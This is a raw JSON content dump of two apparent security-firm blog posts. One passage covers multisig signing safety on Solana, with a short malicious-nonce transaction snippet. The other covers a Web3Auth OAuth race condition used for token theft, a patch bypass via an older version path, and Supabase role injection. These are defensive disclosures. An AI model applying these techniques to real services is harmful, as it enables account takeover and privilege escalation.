sufficient",{"type":24,"tag":22996,"props":75749,"children":75750},{},[75751],{"type":24,"tag":57,"props":75752,"children":75754},{"href":36332,"ariaDescribedBy":75753,"dataFootnoteRef":7,"id":36334},[23003],[75755],{"type":29,"value":3238},{"type":29,"value":75757},". A transaction may have multiple signers, and an attacker could use their own durable nonce fee-payer. This means our problem as defined above is unfortunately unsolvable.",{"type":24,"tag":317,"props":75759,"children":75761},{"className":1553,"code":75760,"language":1552,"meta":7,"style":7},"    let instruction = system_instruction::transfer(&from, &ledger_base_pubkey, 42);\n    let message =\n        Message::new_with_nonce(vec![instruction], Some(&evil_nonce_authority), &nonce_account, &evil_nonce_authority)\n            .serialize();\n",[75762],{"type":24,"tag":284,"props":75763,"children":75764},{"__ignoreMap":7},[75765,75831,75847,75930],{"type":24,"tag":327,"props":75766,"children":75767},{"class":329,"line":330},[75768,75772,75776,75780,75785,75789,75793,75797,75801,75805,75809,75813,75818,75822,75827],{"type":24,"tag":327,"props":75769,"children":75770},{"style":334},[75771],{"type":29,"value":4794},{"type":24,"tag":327,"props":75773,"children":75774},{"style":356},[75775],{"type":29,"value":50086},{"type":24,"tag":327,"props":75777,"children":75778},{"style":381},[75779],{"type":29,"value":4809},{"type":24,"tag":327,"props":75781,"children":75782},{"style":346},[75783],{"type":29,"value":75784}," system_instruction",{"type":24,"tag":327,"props":75786,"children":75787},{"style":381},[75788],{"type":29,"value":2407},{"type":24,"tag":327,"props":75790,"children":75791},{"style":340},[75792],{"type":29,"value":38833},{"type":24,"tag":327,"props":75794,"children":75795},{"style":346},[75796],{"type":29,"value":349},{"type":24,"tag":327,"props":75798,"children":75799},{"style":381},[75800],{"type":29,"value":8716},{"type":24,"tag":327,"props":75802,"children":75803},{"style":356},[75804],{"type":29,"value":802},{"type":24,"tag":327,"props":75806,"children":75807},{"style":346},[75808],{"type":29,"value":2744},{"type":24,"tag":327,"props":75810,"children":75811},{"style":381},[75812],{"type":29,"value":8716},{"type":24,"tag":327,"props":75814,"children":75815},{"style":356},[75816],{"type":29,"value":75817},"ledger_base_pubkey",{"type":24,"tag":327,"props":75819,"children":75820},{"style":346},[75821],{"type":29,"value":2744},{"type":24,"tag":327,"props":75823,"children":75824},{"style":397},[75825],{"type":29,"value":75826},"42",{"type":24,"tag":327,"props":75828,"children":75829},{"style":346},[75830],{"type":29,"value":583},{"type":24,"tag":327,"props":75832,"children":75833},{"class":329,"line":367},[75834,75838,75843],{"type":24,"tag":327,"props":75835,"children":75836},{"style":334},[75837],{"type":29,"value":4794},{"type":24,"tag":327,"props":75839,"children":75840},{"style":356},[75841],{"type":29,"value":75842}," message",{"type":24,"tag":327,"props":75844,"children":75845},{"style":381},[75846],{"type":29,"value":42568},{"type":24,"tag":327,"props":75848,"children":75849},{"class":329,"line":408},[75850,75855,75859,75864,75868,75872,75876,75880,75884,75888,75892,75896,75901,75905,75909,75914,75918,75922,75926],{"type":24,"tag":327,"props":75851,"children":75852},{"style":1639},[75853],{"type":29,"value":75854},"        Message",{"type":24,"tag":327,"props":75856,"children":75857},{"style":381},[75858],{"type":29,"value":2407},{"type":24,"tag":327,"props":75860,"children":75861},{"style":340},[75862],{"type":29,"value":75863},"new_with_nonce",{"type":24,"tag":327,"props":75865,"children":75866},{"style":346},[75867],{"type":29,"value":349},{"type":24,"tag":327,"props":75869,"children":75870},{"style":340},[75871],{"type":29,"value":11470},{"type":24,"tag":327,"props":75873,"children":75874},{"style":346},[75875],{"type":29,"value":11329},{"type":24,"tag":327,"props":75877,"children":75878},{"style":356},[75879],{"type":29,"value":50396},{"type":24,"tag":327,"props":75881,"children":75882},{"style":346},[75883],{"type":29,"value":4474},{"type":24,"tag":327,"props":75885,"children":75886},{"style":1639},[75887],{"type":29,"value":48735},{"type":24,"tag":327,"props":75889,"children":75890},{"style":346},[75891],{"type":29,"value":349},{"type":24,"tag":327,"props":75893,"children":75894},{"style":381},[75895],{"type":29,"value":8716},{"type":24,"tag":327,"props":75897,"children":75898},{"style":356},[75899],{"type":29,"value":75900},"evil_nonce_authority",{"type":24,"tag":327,"props":75902,"children":75903},{"style":346},[75904],{"type":29,"value":22701},{"type":24,"tag":327,"props":75906,"children":75907},{"style":381},[75908],{"type":29,"value":8716},{"type":24,"tag":327,"props":75910,"children":75911},{"style":356},[75912],{"type":29,"value":75913},"nonce_account",{"type":24,"tag":327,"props":75915,"children":75916},{"style":346},[75917],{"type":29,"value":2744},{"type":24,"tag":327,"props":75919,"children":75920},{"style":381},[75921],{"type":29,"value":8716},{"type":24,"tag":327,"props":75923,"children":75924},{"style":356},[75925],{"type":29,"value":75900},{"type":24,"tag":327,"props":75927,"children":75928},{"style":346},[75929],{"type":29,"value":852},{"type":24,"tag":327,"props":75931,"children":75932},{"class":329,"line":421},[75933,75937,75942],{"type":24,"tag":327,"props":75934,"children":75935},{"style":381},[75936],{"type":29,"value":10773},{"type":24,"tag":327,"props":75938,"children":75939},{"style":340},[75940],{"type":29,"value":75941},"serialize",{"type":24,"tag":327,"props":75943,"children":75944},{"style":346},[75945],{"type":29,"value":4838},{"type":24,"tag":25,"props":75947,"children":75948},{},[75949,75951,75958],{"type":29,"value":75950},"Luckily, it is tractable with a small modification. What if the signer is allowed to observe the fee-payer on the transaction? For example, Ledger ",{"type":24,"tag":57,"props":75952,"children":75955},{"href":75953,"rel":75954},"https://github.com/LedgerHQ/app-solana/blob/a19da6c301541390bd08731a10f1f128b38ee66e/src/handle_sign_message.c#L97",[61],[75956],{"type":29,"value":75957},"logs the fee-payer here",{"type":29,"value":66},{"type":24,"tag":317,"props":75960,"children":75962},{"className":321,"code":75961,"language":320,"meta":7,"style":7},"bool print_config_show_authority(const PrintConfig* print_config, const Pubkey* authority) {\n    return print_config->expert_mode || !pubkeys_equal(print_config->signer_pubkey, authority);\n}\n",[75963],{"type":24,"tag":284,"props":75964,"children":75965},{"__ignoreMap":7},[75966,76025,76081],{"type":24,"tag":327,"props":75967,"children":75968},{"class":329,"line":330},[75969,75973,75978,75982,75986,75991,75995,76000,76004,76008,76012,76016,76021],{"type":24,"tag":327,"props":75970,"children":75971},{"style":334},[75972],{"type":29,"value":36394},{"type":24,"tag":327,"props":75974,"children":75975},{"style":340},[75976],{"type":29,"value":75977}," print_config_show_authority",{"type":24,"tag":327,"props":75979,"children":75980},{"style":346},[75981],{"type":29,"value":349},{"type":24,"tag":327,"props":75983,"children":75984},{"style":334},[75985],{"type":29,"value":17202},{"type":24,"tag":327,"props":75987,"children":75988},{"style":346},[75989],{"type":29,"value":75990}," PrintConfig",{"type":24,"tag":327,"props":75992,"children":75993},{"style":381},[75994],{"type":29,"value":469},{"type":24,"tag":327,"props":75996,"children":75997},{"style":356},[75998],{"type":29,"value":75999}," print_config",{"type":24,"tag":327,"props":76001,"children":76002},{"style":346},[76003],{"type":29,"value":2744},{"type":24,"tag":327,"props":76005,"children":76006},{"style":334},[76007],{"type":29,"value":17202},{"type":24,"tag":327,"props":76009,"children":76010},{"style":346},[76011],{"type":29,"value":2226},{"type":24,"tag":327,"props":76013,"children":76014},{"style":381},[76015],{"type":29,"value":469},{"type":24,"tag":327,"props":76017,"children":76018},{"style":356},[76019],{"type":29,"value":76020}," authority",{"type":24,"tag":327,"props":76022,"children":76023},{"style":346},[76024],{"type":29,"value":364},{"type":24,"tag":327,"props":76026,"children":76027},{"class":329,"line":367},[76028,76032,76036,76040,76045,76049,76053,76058,76062,76067,76071,76076],{"type":24,"tag":327,"props":76029,"children":76030},{"style":425},[76031],{"type":29,"value":6023},{"type":24,"tag":327,"props":76033,"children":76034},{"style":356},[76035],{"type":29,"value":75999},{"type":24,"tag":327,"props":76037,"children":76038},{"style":346},[76039],{"type":29,"value":1679},{"type":24,"tag":327,"props":76041,"children":76042},{"style":356},[76043],{"type":29,"value":76044},"expert_mode",{"type":24,"tag":327,"props":76046,"children":76047},{"style":381},[76048],{"type":29,"value":5139},{"type":24,"tag":327,"props":76050,"children":76051},{"style":381},[76052],{"type":29,"value":20408},{"type":24,"tag":327,"props":76054,"children":76055},{"style":340},[76056],{"type":29,"value":76057},"pubkeys_equal",{"type":24,"tag":327,"props":76059,"children":76060},{"style":346},[76061],{"type":29,"value":349},{"type":24,"tag":327,"props":76063,"children":76064},{"style":356},[76065],{"type":29,"value":76066},"print_config",{"type":24,"tag":327,"props":76068,"children":76069},{"style":346},[76070],{"type":29,"value":1679},{"type":24,"tag":327,"props":76072,"children":76073},{"style":356},[76074],{"type":29,"value":76075},"signer_pubkey",{"type":24,"tag":327,"props":76077,"children":76078},{"style":346},[76079],{"type":29,"value":76080},", authority);\n",{"type":24,"tag":327,"props":76082,"children":76083},{"class":329,"line":408},[76084],{"type":24,"tag":327,"props":76085,"children":76086},{"style":346},[76087],{"type":29,"value":592},{"type":24,"tag":25,"props":76089,"children":76090},{},[76091],{"type":29,"value":76092},"Let's say we've determined our signer has no associated nonce accounts. If our pubkey is the fee-payer on the new proposed transaction, we can know for sure that the transaction does not use durable nonces!",{"type":24,"tag":25,"props":76094,"children":76095},{},[76096],{"type":29,"value":76097},"Without durable nonces, the problem becomes much easier to solve. After waiting enough time, there'll be a point where all previously signed transactions will be expired. If we see no unexpected transactions, that means we're safe.",{"type":24,"tag":25,"props":76099,"children":76100},{},[76101],{"type":29,"value":76102},"We can then use the following procedure.",{"type":24,"tag":175,"props":76104,"children":76105},{},[76106,76111,76116,76121,76126],{"type":24,"tag":179,"props":76107,"children":76108},{},[76109],{"type":29,"value":76110},"Ensure all signers have no durable nonce accounts.",{"type":24,"tag":179,"props":76112,"children":76113},{},[76114],{"type":29,"value":76115},"The first signer signs and submits the transaction.",{"type":24,"tag":179,"props":76117,"children":76118},{},[76119],{"type":29,"value":76120},"Wait two minutes for all recent blockhashes to expire.",{"type":24,"tag":179,"props":76122,"children":76123},{},[76124],{"type":29,"value":76125},"Observe recent transactions associated with the signer to ensure nothing unexpected is submitted.",{"type":24,"tag":179,"props":76127,"children":76128},{},[76129],{"type":29,"value":76130},"Repeat steps 2 to 4 for each signer",{"type":24,"tag":228,"props":76132,"children":76134},{"id":76133},"beyond",[76135],{"type":29,"value":76136},"Beyond",{"type":24,"tag":25,"props":76138,"children":76139},{},[76140],{"type":29,"value":76141},"Solana's signature model is unique. What can protocols do if they're deploying on blockchains without these unique properties? The most important constraint is observability. There must be a way you can see what you're signing, either while signing or implicitly after the fact.",{"type":24,"tag":25,"props":76143,"children":76144},{},[76145,76147,76154],{"type":29,"value":76146},"For example, pcaversaccio wrote a tool to ",{"type":24,"tag":57,"props":76148,"children":76151},{"href":76149,"rel":76150},"https://github.com/pcaversaccio/safe-tx-hashes-util",[61],[76152],{"type":29,"value":76153},"validate Safe transaction hashes",{"type":29,"value":76155},". As the space matures, we hope more open source tooling will come to light.",{"type":24,"tag":25932,"props":76157,"children":76159},{"className":76158,"dataFootnotes":7},[25935],[76160,76165],{"type":24,"tag":228,"props":76161,"children":76163},{"className":76162,"id":23003},[25940],[76164],{"type":29,"value":25943},{"type":24,"tag":175,"props":76166,"children":76167},{},[76168],{"type":24,"tag":179,"props":76169,"children":76170},{"id":37075},[76171,76173,76181,76183],{"type":29,"value":76172},"The original version of this blog post did not consider a malicious fee-payer. Thanks to ",{"type":24,"tag":57,"props":76174,"children":76178},{"href":76175,"rel":76176,":style":76177},"https://twitter.com/PierreArowana",[61],"color: #B1D0EE; text-decoration: underline;",[76179],{"type":29,"value":76180},"@PierreArowana",{"type":29,"value":76182}," for pointing this out to me. ",{"type":24,"tag":57,"props":76184,"children":76186},{"href":37103,"ariaLabel":26046,"className":76185,"dataFootnoteBackref":7},[26048],[76187],{"type":29,"value":26051},{"type":24,"tag":10448,"props":76189,"children":76190},{},[76191],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":76193},[76194,76198,76199,76200],{"id":74390,"depth":367,"text":74393,"children":76195},[76196,76197],{"id":74401,"depth":408,"text":74404},{"id":74680,"depth":408,"text":74683},{"id":75401,"depth":367,"text":75404},{"id":76133,"depth":367,"text":76136},{"id":23003,"depth":367,"text":25943},"content:blog:2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security.md","blog/2025-02-22-multisig-security",{"_path":76205,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":76206,"description":76207,"date":76208,"author":76209,"image":76210,"isFeatured":16,"onBlogPage":16,"tags":76212,"body":76213,"_type":10481,"_id":77911,"_source":10483,"_file":77912,"_stem":77913,"_extension":10486},"/blog/2025-03-07-subverting-web2-authentication-in-web3","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[37911,37910],{"src":76211},"/posts/web2-in-web3/title.jpg",[38851],{"type":21,"children":76214,"toc":77893},[76215,76220,76225,76230,76256,76262,76267,76273,76294,76300,76305,76312,76325,76355,76361,76405,76412,76418,76451,76472,76480,76499,76506,76511,76517,76522,76527,76552,76557,76563,76569,76590,76596,76623,76651,76658,76663,76668,77013,77017,77039,77045,77066,77080,77093,77098,77114,77119,77848,77853,77858,77863,77875,77879,77884,77889],{"type":24,"tag":25,"props":76216,"children":76217},{},[76218],{"type":29,"value":76219},"Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":24,"tag":25,"props":76221,"children":76222},{},[76223],{"type":29,"value":76224},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":24,"tag":25,"props":76226,"children":76227},{},[76228],{"type":29,"value":76229},"In this article, we will discuss three cases we discovered:",{"type":24,"tag":175,"props":76231,"children":76232},{},[76233,76238,76251],{"type":24,"tag":179,"props":76234,"children":76235},{},[76236],{"type":29,"value":76237},"OAuth Logic Vulnerability on an Authentication Provider",{"type":24,"tag":179,"props":76239,"children":76240},{},[76241,76243,76249],{"type":29,"value":76242},"Supabase ",{"type":24,"tag":284,"props":76244,"children":76246},{"className":76245},[],[76247],{"type":29,"value":76248},"user_metadata",{"type":29,"value":76250}," misconfiguration",{"type":24,"tag":179,"props":76252,"children":76253},{},[76254],{"type":29,"value":76255},"OAuth abuse in localhost development environment",{"type":24,"tag":228,"props":76257,"children":76259},{"id":76258},"abusing-oauth-authentication-logic",[76260],{"type":29,"value":76261},"Abusing OAuth Authentication Logic",{"type":24,"tag":25,"props":76263,"children":76264},{},[76265],{"type":29,"value":76266},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":24,"tag":235,"props":76268,"children":76270},{"id":76269},"web3auth-introduction",[76271],{"type":29,"value":76272},"Web3Auth Introduction",{"type":24,"tag":25,"props":76274,"children":76275},{},[76276,76283,76285,76292],{"type":24,"tag":57,"props":76277,"children":76280},{"href":76278,"rel":76279},"https://web3auth.io/",[61],[76281],{"type":29,"value":76282},"Web3Auth",{"type":29,"value":76284}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":24,"tag":57,"props":76286,"children":76289},{"href":76287,"rel":76288},"https://oauth.net/2/",[61],[76290],{"type":29,"value":76291},"OAuth2",{"type":29,"value":76293}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":24,"tag":235,"props":76295,"children":76297},{"id":76296},"web3auth-authentication-flow",[76298],{"type":29,"value":76299},"Web3Auth Authentication flow",{"type":24,"tag":25,"props":76301,"children":76302},{},[76303],{"type":29,"value":76304},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":24,"tag":25,"props":76306,"children":76307},{},[76308],{"type":24,"tag":11511,"props":76309,"children":76311},{"alt":57299,"src":76310},"/posts/web2-in-web3/auth-flow.png",[],{"type":24,"tag":25,"props":76313,"children":76314},{},[76315,76317,76323],{"type":29,"value":76316},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":24,"tag":284,"props":76318,"children":76320},{"className":76319},[],[76321],{"type":29,"value":76322},"client_id",{"type":29,"value":76324},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":24,"tag":25,"props":76326,"children":76327},{},[76328,76330,76336,76338,76344,76346,76353],{"type":29,"value":76329},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":24,"tag":284,"props":76331,"children":76333},{"className":76332},[],[76334],{"type":29,"value":76335},"/start",{"type":29,"value":76337}," validates the ",{"type":24,"tag":284,"props":76339,"children":76341},{"className":76340},[],[76342],{"type":29,"value":76343},"redirect_url",{"type":29,"value":76345}," against the configured ",{"type":24,"tag":57,"props":76347,"children":76350},{"href":76348,"rel":76349},"https://web3auth.io/docs/dashboard-setup/whitelisting",[61],[76351],{"type":29,"value":76352},"whitelist",{"type":29,"value":76354}," to ensure it matches one of the allowed URLs.",{"type":24,"tag":235,"props":76356,"children":76358},{"id":76357},"in-transit-cryptography",[76359],{"type":29,"value":76360},"In-transit Cryptography",{"type":24,"tag":25,"props":76362,"children":76363},{},[76364,76366,76373,76375,76381,76383,76389,76391,76396,76398,76403],{"type":29,"value":76365},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":24,"tag":57,"props":76367,"children":76370},{"href":76368,"rel":76369},"https://en.wikipedia.org/wiki/Key_(cryptography)",[61],[76371],{"type":29,"value":76372},"cryptographic key",{"type":29,"value":76374}," is derived from the ",{"type":24,"tag":284,"props":76376,"children":76378},{"className":76377},[],[76379],{"type":29,"value":76380},"sessionId",{"type":29,"value":76382},"  sent in the ",{"type":24,"tag":284,"props":76384,"children":76386},{"className":76385},[],[76387],{"type":29,"value":76388},"GET",{"type":29,"value":76390}," parameter to the ",{"type":24,"tag":284,"props":76392,"children":76394},{"className":76393},[],[76395],{"type":29,"value":76335},{"type":29,"value":76397},". Since the ",{"type":24,"tag":284,"props":76399,"children":76401},{"className":76400},[],[76402],{"type":29,"value":76380},{"type":29,"value":76404}," can be controlled, it allows us to send and receive data from the session server.",{"type":24,"tag":25,"props":76406,"children":76407},{},[76408],{"type":24,"tag":11511,"props":76409,"children":76411},{"alt":57299,"src":76410},"/posts/web2-in-web3/image-2.png",[],{"type":24,"tag":235,"props":76413,"children":76415},{"id":76414},"race-condition",[76416],{"type":29,"value":76417},"Race Condition",{"type":24,"tag":25,"props":76419,"children":76420},{},[76421,76423,76428,76430,76436,76438,76443,76445,76450],{"type":29,"value":76422},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":24,"tag":284,"props":76424,"children":76426},{"className":76425},[],[76427],{"type":29,"value":76335},{"type":29,"value":76429}," and later used in the ",{"type":24,"tag":284,"props":76431,"children":76433},{"className":76432},[],[76434],{"type":29,"value":76435},"/end",{"type":29,"value":76437}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":24,"tag":284,"props":76439,"children":76441},{"className":76440},[],[76442],{"type":29,"value":76335},{"type":29,"value":76444},") but before  use (",{"type":24,"tag":284,"props":76446,"children":76448},{"className":76447},[],[76449],{"type":29,"value":76435},{"type":29,"value":2108},{"type":24,"tag":25,"props":76452,"children":76453},{},[76454,76456,76463,76465,76470],{"type":29,"value":76455},"To exploit this ",{"type":24,"tag":57,"props":76457,"children":76460},{"href":76458,"rel":76459},"https://portswigger.net/web-security/race-conditions",[61],[76461],{"type":29,"value":76462},"race condition",{"type":29,"value":76464},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":24,"tag":284,"props":76466,"children":76468},{"className":76467},[],[76469],{"type":29,"value":76380},{"type":29,"value":76471}," but with modified malicious parameters.",{"type":24,"tag":25,"props":76473,"children":76474},{},[76475],{"type":24,"tag":188,"props":76476,"children":76477},{},[76478],{"type":29,"value":76479},"What can be modified to achieve something impactful?",{"type":24,"tag":25,"props":76481,"children":76482},{},[76483,76485,76491,76493,76498],{"type":29,"value":76484},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":24,"tag":284,"props":76486,"children":76488},{"className":76487},[],[76489],{"type":29,"value":76490},"redirect_uri",{"type":29,"value":76492}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":24,"tag":284,"props":76494,"children":76496},{"className":76495},[],[76497],{"type":29,"value":76322},{"type":29,"value":66},{"type":24,"tag":25,"props":76500,"children":76501},{},[76502],{"type":24,"tag":11511,"props":76503,"children":76505},{"alt":57299,"src":76504},"/posts/web2-in-web3/image-3.png",[],{"type":24,"tag":25,"props":76507,"children":76508},{},[76509],{"type":29,"value":76510},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":24,"tag":235,"props":76512,"children":76514},{"id":76513},"patch-bypass",[76515],{"type":29,"value":76516},"Patch & Bypass",{"type":24,"tag":25,"props":76518,"children":76519},{},[76520],{"type":29,"value":76521},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":24,"tag":25,"props":76523,"children":76524},{},[76525],{"type":29,"value":76526},"To bypass the fix we were able to change the version in the URL:",{"type":24,"tag":1380,"props":76528,"children":76529},{},[76530,76541],{"type":24,"tag":179,"props":76531,"children":76532},{},[76533,76539],{"type":24,"tag":284,"props":76534,"children":76536},{"className":76535},[],[76537],{"type":29,"value":76538},"https://auth.web3auth.io/v8/start",{"type":29,"value":76540}," (latest version)",{"type":24,"tag":179,"props":76542,"children":76543},{},[76544,76550],{"type":24,"tag":284,"props":76545,"children":76547},{"className":76546},[],[76548],{"type":29,"value":76549},"https://auth.web3auth.io/v6/start",{"type":29,"value":76551}," (bypass)",{"type":24,"tag":25,"props":76553,"children":76554},{},[76555],{"type":29,"value":76556},"We reported this issue, and it was addressed just as quickly!",{"type":24,"tag":228,"props":76558,"children":76560},{"id":76559},"supabase-metadata-manipulation",[76561],{"type":29,"value":76562},"Supabase metadata manipulation",{"type":24,"tag":235,"props":76564,"children":76566},{"id":76565},"supabase-authentication-flow",[76567],{"type":29,"value":76568},"Supabase Authentication flow",{"type":24,"tag":25,"props":76570,"children":76571},{},[76572,76579,76581,76588],{"type":24,"tag":57,"props":76573,"children":76576},{"href":76574,"rel":76575},"https://supabase.com/docs/guides/auth",[61],[76577],{"type":29,"value":76578},"Supabase",{"type":29,"value":76580}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":24,"tag":57,"props":76582,"children":76585},{"href":76583,"rel":76584},"https://jwt.io/",[61],[76586],{"type":29,"value":76587},"JWT",{"type":29,"value":76589}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":24,"tag":235,"props":76591,"children":76593},{"id":76592},"jwt-verification",[76594],{"type":29,"value":76595},"JWT verification",{"type":24,"tag":25,"props":76597,"children":76598},{},[76599,76601,76606,76607,76613,76615,76621],{"type":29,"value":76600},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":24,"tag":284,"props":76602,"children":76604},{"className":76603},[],[76605],{"type":29,"value":76248},{"type":29,"value":1323},{"type":24,"tag":284,"props":76608,"children":76610},{"className":76609},[],[76611],{"type":29,"value":76612},"identity_data",{"type":29,"value":76614},", in a signup request by manipulating the input inside the ",{"type":24,"tag":284,"props":76616,"children":76618},{"className":76617},[],[76619],{"type":29,"value":76620},"\"data\": {}",{"type":29,"value":76622}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":24,"tag":25,"props":76624,"children":76625},{},[76626,76628,76634,76635,76641,76643,76649],{"type":29,"value":76627},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":24,"tag":284,"props":76629,"children":76631},{"className":76630},[],[76632],{"type":29,"value":76633},"\"role\": \"admin\"",{"type":29,"value":1503},{"type":24,"tag":284,"props":76636,"children":76638},{"className":76637},[],[76639],{"type":29,"value":76640},"\"email_verified\": true",{"type":29,"value":76642},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":24,"tag":284,"props":76644,"children":76646},{"className":76645},[],[76647],{"type":29,"value":76648},"\"test\": \"test\"",{"type":29,"value":76650},", enabling us to inject arbitrary data into the final JWT token.",{"type":24,"tag":25,"props":76652,"children":76653},{},[76654],{"type":24,"tag":11511,"props":76655,"children":76657},{"alt":57299,"src":76656},"/posts/web2-in-web3/image-4.png",[],{"type":24,"tag":25,"props":76659,"children":76660},{},[76661],{"type":29,"value":76662},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":24,"tag":25,"props":76664,"children":76665},{},[76666],{"type":29,"value":76667},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":24,"tag":317,"props":76669,"children":76671},{"className":38073,"code":76670,"language":38075,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[76672],{"type":24,"tag":284,"props":76673,"children":76674},{"__ignoreMap":7},[76675,76700,76712,76781,76830,76878,76923,76946,76983,76999,77006],{"type":24,"tag":327,"props":76676,"children":76677},{"class":329,"line":330},[76678,76682,76687,76691,76696],{"type":24,"tag":327,"props":76679,"children":76680},{"style":334},[76681],{"type":29,"value":38087},{"type":24,"tag":327,"props":76683,"children":76684},{"style":340},[76685],{"type":29,"value":76686}," parseSupaBase",{"type":24,"tag":327,"props":76688,"children":76689},{"style":346},[76690],{"type":29,"value":349},{"type":24,"tag":327,"props":76692,"children":76693},{"style":356},[76694],{"type":29,"value":76695},"token",{"type":24,"tag":327,"props":76697,"children":76698},{"style":346},[76699],{"type":29,"value":364},{"type":24,"tag":327,"props":76701,"children":76702},{"class":329,"line":367},[76703,76708],{"type":24,"tag":327,"props":76704,"children":76705},{"style":425},[76706],{"type":29,"value":76707},"    try",{"type":24,"tag":327,"props":76709,"children":76710},{"style":346},[76711],{"type":29,"value":497},{"type":24,"tag":327,"props":76713,"children":76714},{"class":329,"line":408},[76715,76719,76723,76728,76732,76737,76741,76746,76750,76754,76759,76763,76768,76772,76777],{"type":24,"tag":327,"props":76716,"children":76717},{"style":334},[76718],{"type":29,"value":39612},{"type":24,"tag":327,"props":76720,"children":76721},{"style":346},[76722],{"type":29,"value":4446},{"type":24,"tag":327,"props":76724,"children":76725},{"style":356},[76726],{"type":29,"value":76727},"header",{"type":24,"tag":327,"props":76729,"children":76730},{"style":346},[76731],{"type":29,"value":2744},{"type":24,"tag":327,"props":76733,"children":76734},{"style":356},[76735],{"type":29,"value":76736},"payload",{"type":24,"tag":327,"props":76738,"children":76739},{"style":346},[76740],{"type":29,"value":2744},{"type":24,"tag":327,"props":76742,"children":76743},{"style":356},[76744],{"type":29,"value":76745},"signature",{"type":24,"tag":327,"props":76747,"children":76748},{"style":346},[76749],{"type":29,"value":16221},{"type":24,"tag":327,"props":76751,"children":76752},{"style":381},[76753],{"type":29,"value":384},{"type":24,"tag":327,"props":76755,"children":76756},{"style":356},[76757],{"type":29,"value":76758}," token",{"type":24,"tag":327,"props":76760,"children":76761},{"style":346},[76762],{"type":29,"value":66},{"type":24,"tag":327,"props":76764,"children":76765},{"style":340},[76766],{"type":29,"value":76767},"split",{"type":24,"tag":327,"props":76769,"children":76770},{"style":346},[76771],{"type":29,"value":349},{"type":24,"tag":327,"props":76773,"children":76774},{"style":844},[76775],{"type":29,"value":76776},"'.'",{"type":24,"tag":327,"props":76778,"children":76779},{"style":346},[76780],{"type":29,"value":583},{"type":24,"tag":327,"props":76782,"children":76783},{"class":329,"line":421},[76784,76788,76793,76797,76801,76805,76809,76813,76818,76822,76826],{"type":24,"tag":327,"props":76785,"children":76786},{"style":334},[76787],{"type":29,"value":39612},{"type":24,"tag":327,"props":76789,"children":76790},{"style":356},[76791],{"type":29,"value":76792}," decodedHeader",{"type":24,"tag":327,"props":76794,"children":76795},{"style":381},[76796],{"type":29,"value":4809},{"type":24,"tag":327,"props":76798,"children":76799},{"style":356},[76800],{"type":29,"value":44241},{"type":24,"tag":327,"props":76802,"children":76803},{"style":346},[76804],{"type":29,"value":66},{"type":24,"tag":327,"props":76806,"children":76807},{"style":340},[76808],{"type":29,"value":45925},{"type":24,"tag":327,"props":76810,"children":76811},{"style":346},[76812],{"type":29,"value":349},{"type":24,"tag":327,"props":76814,"children":76815},{"style":340},[76816],{"type":29,"value":76817},"atob",{"type":24,"tag":327,"props":76819,"children":76820},{"style":346},[76821],{"type":29,"value":349},{"type":24,"tag":327,"props":76823,"children":76824},{"style":356},[76825],{"type":29,"value":76727},{"type":24,"tag":327,"props":76827,"children":76828},{"style":346},[76829],{"type":29,"value":14786},{"type":24,"tag":327,"props":76831,"children":76832},{"class":329,"line":450},[76833,76837,76842,76846,76850,76854,76858,76862,76866,76870,76874],{"type":24,"tag":327,"props":76834,"children":76835},{"style":334},[76836],{"type":29,"value":39612},{"type":24,"tag":327,"props"